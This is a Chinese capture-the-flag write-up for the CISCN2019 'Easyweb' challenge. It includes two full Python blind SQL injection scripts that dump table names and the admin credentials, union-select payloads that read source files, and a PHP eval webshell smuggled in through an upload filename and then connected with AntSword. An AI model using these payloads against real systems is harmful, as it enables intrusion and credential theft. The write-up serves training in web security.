IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [CISCN2019 总决赛 Day2 Web1]Easyweb -> 正文阅读

[PHP知识库][CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

打开网页发现登录页面,先扫描目录试试,发现/robots.txt,查看robots.txt

User-agent: *
Disallow: *.php.bak

方法一 寻找备份文件

发现源码有备份,但我们并不知道源码文件的名字是什么,按F12,发现图片与一个带有idphp文件有关,尝试下载image.php.bak,得到image.php

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

查询PHP手册:

addslashes
(PHP 4, PHP 5, PHP 7, PHP 8)
addslashes — 使用反斜线引用字符串,返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)。

str_replace(array("\\0","%00","\\'","'"),"",$id);表示id里面的\0%00\''会被替换掉。如果我们想让我们的sql查询语句生效,就必须让

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");

这句话里面的其中一个带引号逃逸变成一个字符,所以需要\'这样的结构,考虑到str_replaceidpath做了替换,所以我们可以构造:id=\0(这里的\已经被转义了,\0是两个字符),id经过addslashes后变为\\0,在经过str_replace替换后变为\,所以sql语句变为:

select * from images where id='\' or path='{$path}'

此时,id变为\' or path=,所以path可以随便设置为任何sql查询语句。id为\' or path=肯定查询出错,所以我们可以设置pathor ascii(substr(database(),{},1))>{}%23,一个字符一个字符查询,如果结果正确,页面就会返回一张猫猫的图片,图片中包含JFIF关键词,我们可以通过页面是否返回JFIF判断是否查询成功,编写python脚本:

import requests
Original_url = "http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/image.php?id=\\0&path="
Success_message = "JFIF"
database_name_payload = " or ascii(substr(database(),{},1))>{}%23"
table_name_payload    = " or if((select/**/ascii(substr(group_concat(table_name),{},1))/**/from/**/information_schema.tables/**/where/**/table_schema=database())>{},1,0)%23"
column_name_payload   = " or if((select/**/ascii(substr(group_concat(column_name),{},1))/**/from/**/information_schema.columns/**/where/**/table_schema=database())>{},1,0)%23"

def getname(payload):
    name = ''
    for i in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            url = Original_url + payload.format(i,mid)
            RowText = requests.get(url, timeout=100)
            if Success_message in RowText.text:
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if (mid == 32):
            print()
            break
        name += chr(mid)
        if "table_name" in payload:
            print("\r表名: " + name, end="")
        elif "column_name" in payload:
            print("\r字段名: " + name, end="")
        else:
            print("\r数据库名: " + name, end="")

def GetData(table_name, column_name):
    data = ''
    for i in range(1, 100): #数据的第i位
        begin = 32
        end = 126
        mid = (begin + end) // 2 #取整除,返回商的整数部分(向下取整)
        while begin < end:
            url = Original_url + ' or if(ascii(substr((select/**/{}/**/from/**/{}),{},1)) > {},1, 0)%23'.format(column_name, table_name, i, mid)
            RowText = requests.get(url, timeout=100)
            if Success_message in RowText.text:
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if (mid == 32):
            print()
            break
        data += chr(mid)
        print(("\r表%s的字段%s数据: " + data) % (table_name, column_name), end="")

getname(database_name_payload)
getname(table_name_payload)
getname(column_name_payload)
GetData("users", "username")
GetData("users", "password")

输出:

数据库名: ciscnfinal
表名: images,users
字段名: id,path,username,password
表users的字段username数据: admin
表users的字段password数据: acccc7e9835270337236

在网页首页输入账号密码,进入文件上传页面,随便上传一个文件,网页回显:

I logged the file name you uploaded to logs/upload.b030468cde3a4f3546849663143ed168.log.php. LOL

网页提示把文件名放在了日志文件里面,而且这个日志文件是php文件,所以我们可以通过一句话木马作为文件名上传到日志文件,然后用蚁剑连接。随便上传一个文件,然后用Burp Suite拦截,把文件名filename修改为<?php @eval($_POST["a"]);?>。发送请求后,网页提示You cant upload php file.,可以使用短标签绕过,即<?=@eval($_POST['a']);?>,随便上传一个文件,然后用Burp Suite拦截,把文件名filename修改为<?=@eval($_POST['a']);?>,最后显示上传成功。

php的配置文件(php.ini)中有一个short_open_tag的值,PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量,短标签<? ?>需要php.ini开启short_open_tag = On,但<?= ?>不受该条控制。

  • <? ?>相当于<?php ?>
  • <?= ?>相当于<?php echo ?>

References

[CISCN2019 总决赛 Day2 Web1]Easyweb

php 短标记 short_open_tag_h3110n3w0r1d-CSDN博客

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/logs/upload.b030468cde3a4f3546849663143ed168.log.php
连接密码 a
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,但要跟$_POST["a"]一致。

连接后查看网站根目录的flag文件,得到flag

References

刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb && [GXYCTF2019]禁止套娃_crispr的博客-CSDN博客

方法二 读取源码

通过注入伪造下载地址,读取image.php,将image.php转化为16进制:0x696d6167652e706870,输入url:

/image.php?id=\0&path=union select 1,0x696d6167652e706870--+

References

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

得到image.php源码:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$sql="select * from images where id='{$id}' or path='{$path}'";
if (preg_match("/load/i",$sql))
{
    die("What's your problem?");
}

$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

//secure the path
$count=preg_match("/(\.\.)|(config)/i",$row["path"]);
if ($count>0)
{
    die("What's your problem?");
}

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

查看登录页面源码发现还有user.php文件,再次尝试读取user.php,输入url:

/image.php?id=\0&path=union select 1,0x757365722e706870--+

得到user.php源码:

<?php
include "config.php";
include "function.php";

$username="";

if (!is_login() && !isset($_POST["username"]) && !isset($_POST["password"]))
{
    header('Location: index.php');
    die;
}

if ($username==="")
{
    $stmt=$con->prepare("select * from users where username=?");
    $stmt->bind_param("s",$_POST["username"]);
    $stmt->execute();
    $result=$stmt->get_result();
    $row=$result->fetch_assoc();
    if ($row["password"]===$_POST["password"])
    {
        $username=$_POST["username"];
        setcookie("username",encode($username,$secret));
    }
    else
    {
        header('Location: index.php');
        die;
    }
}

$admin_html=<<<EOF
Hello, admin!
<form action="upload.php" method="post"enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>
EOF;

if ($username!=="admin")
{
    echo "Hello, {$username}, if you are admin, I will give you a surprise.";
}
else
{
    echo $admin_html;
}

发现select * from users where username=?查询语句,说明表users里面有字段username,所以尝试获取username,通过python脚本sql注入获得userpassword

import requests
url = "http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/image.php"
result = ''
for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #password
        #payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
		#users
		payload = " or id=if(ascii(substr((select username from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
        params = {
            'id':'\\0',
            'path':payload
        }
        response = requests.get(url, params=params)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
        if (mid == 32):
            print()
            break
    result += chr(int(mid))
    print("\r", result, end="")

References

[CISCN2019 总决赛 Day2 Web1]Easyweb && [GXYCTF2019]禁止套娃_crispr的博客-CSDN博客

然后就是跟方法一,一样的步骤。

补充user.php中又发现function.php,读取源码,输入url:

/image.php?id=\0&path=union select 1,0x66756e6374696f6e2e706870--+

得到function.php源码:

<?php
function encode($str,$key)
{
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return base64_encode($tmp);
}

function decode($str,$key)
{
    $str=base64_decode($str);
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return $tmp;
}

function is_login()
{
    global $username,$secret;
    if (!isset($_COOKIE["username"]))
        return false;
    $username=decode($_COOKIE["username"],$secret);
    return true;
}

function get_real_ip() {
	$ip = false;
	if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
		$ip = $_SERVER["HTTP_CLIENT_IP"];
	}
	if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
		$ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
		if ($ip) {
			array_unshift($ips, $ip);
			$ip = FALSE;}
		for ($i = 0; $i < count($ips); $i++) {
			if (!eregi("^(10a”?172.16a”?192.168).", $ips[$i])) {
				$ip = $ips[$i];
				break;
			}
		}
	}
	return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-15 15:18:07  更:2021-08-15 15:18:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/15 1:30:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码